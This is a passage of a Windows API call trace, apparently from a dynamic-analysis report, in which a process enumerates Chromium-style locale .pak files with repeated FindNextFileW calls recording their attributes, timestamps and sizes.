lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb6582e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa9727, dwReserved0=0x0, dwReserved1=0x0, cFileName="bn.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeb91760, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5082b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ca.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebbaf81, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51809, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfebdf980, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x494f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="da.pak", cAlternateFileName="")) returned 1 [0087.850] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec06a90, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x463fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="de.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec329c2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x8f814, dwReserved0=0x0, dwReserved1=0x0, cFileName="el.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec63716, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4244f, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-GB.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec796af, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x42442, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d7fdaa0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d7fdaa0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfec9928c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4fca5, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-419.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecc51be, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x512b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="es.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfecf10f0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x469ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="et.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed1f733, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x72286, dwReserved0=0x0, dwReserved1=0x0, cFileName="fa.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed44132, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4b6ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed72775, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c09, dwReserved0=0x0, dwReserved1=0x0, cFileName="fil.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfed97174, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x55a6c, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfedd1b0c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9f1a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="gu.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee07682, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5df23, dwReserved0=0x0, dwReserved1=0x0, cFileName="he.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee383d6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa3281, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee6df4c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bc57, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfee9505c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x54a87, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeebe87d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x47e7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="id.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeee598d, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e532, dwReserved0=0x0, dwReserved1=0x0, cFileName="it.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef118bf, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5f8fa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef3ff02, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb6beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="kn.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d823c00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d823c00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef67012, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x50b94, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfef95655, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51c11, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfefd4e0f, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xfeffe630, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xccccc, dwReserved0=0x0, dwReserved1=0x0, cFileName="ml.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0341a6, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xa1beb, dwReserved0=0x0, dwReserved1=0x0, cFileName="mr.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff03ddea, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x3e2ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="ms.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff069d1c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x487e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff08c00a, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4d450, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0b7f3c, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x500e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff0e3e6e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4e63d, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff10fda0, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f596, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff13208e, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x51b03, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff162de2, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x7e47b, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru.pak", cAlternateFileName="")) returned 1 [0087.851] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff18ed14, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x5402d, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1b1002, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4bb7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d849d60, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d849d60, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff1d8112, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x79e3c, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff206755, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x496bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff22d865, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x44b74, dwReserved0=0x0, dwReserved1=0x0, cFileName="sw.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff25bea8, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xbcd4e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ta.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff298f51, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0xb0b7d, dwReserved0=0x0, dwReserved1=0x0, cFileName="te.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2c4e83, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x9efb8, dwReserved0=0x0, dwReserved1=0x0, cFileName="th.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff2f0db5, ftLastWriteTime.dwHighDateTime=0x1d2c8a2, nFileSizeHigh=0x0, nFileSizeLow=0x4f508, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr.pak", cAlternateFileName="")) returned 1 [0087.852] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d86fec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7d86fec0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xff31cce7, 